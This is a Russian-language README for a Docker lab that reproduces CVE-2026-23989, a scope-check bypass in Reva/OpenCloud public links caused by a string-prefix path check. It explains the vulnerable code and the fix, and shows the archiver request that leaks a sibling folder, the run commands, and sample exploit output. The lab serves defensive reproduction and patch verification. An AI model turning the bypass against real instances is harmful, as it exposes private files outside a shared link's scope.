
Лаборатория воспроизведения (A/B Docker) для CVE-2026-23989 — обход проверки области действия публичной ссылки в OpenCloud / ownCloud Infinite Scale в Reva
Автономная лаборатория из одной команды, которая воспроизводит CVE-2026-23989 и доказывает, что уязвимость исправлена, используя официальные образы Docker из апстрима. Публичная ссылка для общего доступа, которая должна предоставлять доступ к одной папке, может быть использована для чтения файлов за пределами области действия этой папки.
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw («Public Link Exploit») |
| CVSS 3.1 | 8.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Class | Нарушенный контроль доступа — путаница префиксов путей при проверке области действия |
| Root cause | Reva checkIfNestedResource использовал strings.HasPrefix для проверки вхождения пути |
| Affected | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Fixed | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Disclosed | 2026-02-05 |
OpenCloud — это форк ownCloud Infinite Scale (OCIS) 2025 года, созданный бывшими инженерами ownCloud после того, как Kiteworks приобрела ownCloud. Уязвимость находится в Reva — бэкенде хранения CS3, общем для OCIS/OpenCloud, и, согласно уведомлению вендора, «возникла в кодовой базе ownCloud (Kiteworks) и была унаследована, когда OpenCloud форкнул OCIS». OpenCloud используется здесь, потому что он поставляет чистые, закреплённые, публичные уязвимые и исправленные образы, которые позволяют провести точное A/B-сравнение.
internal/grpc/interceptors/auth/scope.go, функция checkIfNestedResource — межсетевой перехватчик, который решает, может ли токен публичной ссылки обращаться к ресурсу:
// уязвимый (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath — это путь общей папки (область действия ссылки); childPath — путь запрашиваемого ресурса. Проверка строкового префикса — это не проверка вхождения пути:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (соседний ресурс, НЕ дочерний)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← неверно: доступ предоставлен
Таким образом, ссылка с областью действия /Shared также получает доступ к любому ресурсу в том же пространстве, путь которого начинается со строки /Shared — например, /Shared-secret, /Shared-2024, /Shared backup. Исправление заменяет проверку на filepath.Rel и отклоняет любой относительный путь, начинающийся с .. (полный патч в patch/reva-scope.go.patch).
Каждая операция шлюза, несущая токен публичной ссылки, проходит через уязвимую проверку области действия, но примитив первооткрывателей (и этой лаборатории) — это сервис архиватора по адресу GET /archiver, аутентифицированный для публичной ссылки с заголовком public-token:. Он принимает идентификатор ресурса (?id=<fileid>), обходит его и передаёт zip-архив. Направьте его на идентификатор префиксного соседа вне области действия, и уязвимая проверка пропустит его:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <токен ссылки с областью действия /Shared>
→ 200, zip из /Shared-secret (на 4.0.2)
→ 404 "gateway could not find space for ref=…" (на 4.0.3)
Атакующий должен предоставить идентификатор ресурса цели вне области действия. Этот непрозрачный идентификатор — случайный UUID, и его нельзя перечислить через саму публичную ссылку (ссылка не может перечислить пространство владельца — она возвращает 401). Однако в OCIS oc:fileid ресурса раскрывается почти в каждом ответе WebDAV/graph, приглашении к общему доступу, уведомлении об активности и веб-URL (/f/<id>), поэтому любой бывший соавтор, бывший получатель другого общего доступа или внутренний пользователь обычно им владеет — именно поэтому вендор оценил сложность атаки как Low. setup.sh лаборатории получает идентификатор «как жертва», чтобы передать его шагу атакующего, моделируя эти реалистичные предварительные знания. Обход пути (?path=../…) не является жизнеспособной заменой: такие пути разрешаются относительно общего доступа и очищаются (404).
"/", и HasPrefix("/", "/Shared") возвращает false (лаборатория подтверждает это: архив корня пространства → 404). Соседние ресурсы без префикса, такие как /Private, также отклоняются на уязвимой сборке — лаборатория использует это как контроль, чтобы доказать, что эффект связан именно с багом префикса, а не с общим сбоем аутентификации.| Файл | Назначение |
|---|---|
docker-compose.yml | Один контейнер OpenCloud; OC_TAG выбирает уязвимую (4.0.2) или исправленную (4.0.3) версию. |
setup.sh | Заполняет сценарий жертвы в пространстве демо-пользователя mary и создаёт публичную ссылку без пароля на /Shared. Записывает state.env. |
exploit.sh | PoC атакующего. Получив токен ссылки + идентификатор целевого ресурса, вызывает архиватор и выводит любые извлечённые байты. |
verify.sh | A/B-проверка одной командой: воспроизведение на 4.0.2, подтверждение исправления на 4.0.3, вывод матрицы PASS/FAIL. |
patch/reva-scope.go.patch | Точное исправление из апстрима в одну строку, с комментариями. |
Сценарий, размещённый в личном пространстве mary:
/Shared/public-note.txt ← доступно через публичную ссылку (в области действия)
/Shared-secret/flag.txt ← цель PoC; путь с префиксом "/Shared" (вне области действия)
/Private/topsecret.txt ← контроль; без префикса (вне области действия, остаётся запрещённым)
Требования: Docker + Docker Compose, curl, python3. Загружает ~250 МБ образов.
./verify.sh
Ожидаемый вывод:
== Exploit + controls against VULNERABLE 4.0.2 ==
[PASS] in-scope /Shared (legit access) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (expected leak)
[PASS] non-prefix /Private (must stay denied) (expected deny)
== Exploit + control against FIXED 4.0.3 ==
[PASS] in-scope /Shared (still works) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)
== Verdict ==
5 passed, 0 failed
CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.
Пара rolling-релиза вместо stable:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. поднять уязвимую сборку
OC_TAG=4.0.2 docker compose up -d
# 2. заполнить сценарий жертвы (создаёт публичную ссылку, записывает state.env)
./setup.sh
# 3. атака: утечка соседнего ресурса вне области действия (читает цель из state.env)
./exploit.sh # по умолчанию идентификатор /Shared-secret
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # контроль: запрещено
Реальная запись сеанса против уязвимой сборки (значения state.env меняются при каждом запуске):
===== EXPLOIT /Shared-secret (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK (scope: a single shared folder)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
===== CONTROL /Private (out-of-scope, non-prefix) =====
[*] HTTP 404, 249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…
Подтвердите исправление с теми же данными (тот же токен и идентификаторы):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # теперь → HTTP 404, DENIED
Завершение работы:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" на контейнере. Вендор подтверждает,
что это полностью устраняет проблему (публичная ссылка тогда возвращает ошибку).docker-compose.yml намеренно ослабляет экземпляр, чтобы PoC можно было запускать скриптом:
PROXY_ENABLE_BASIC_AUTH=true (чтобы curl -u/public-token работали без танцев с OIDC), IDM_CREATE_DEMO_USERS=true (mary/demo и т. д. — публичные пароли),
IDM_ADMIN_PASSWORD=admin, публичные ссылки без пароля и самоподписанный сертификат
(curl -k). Ни одна из этих настроек не является уязвимостью; они лишь делают её наблюдаемой в
оболочке. Сам обход от них не зависит.
8d52003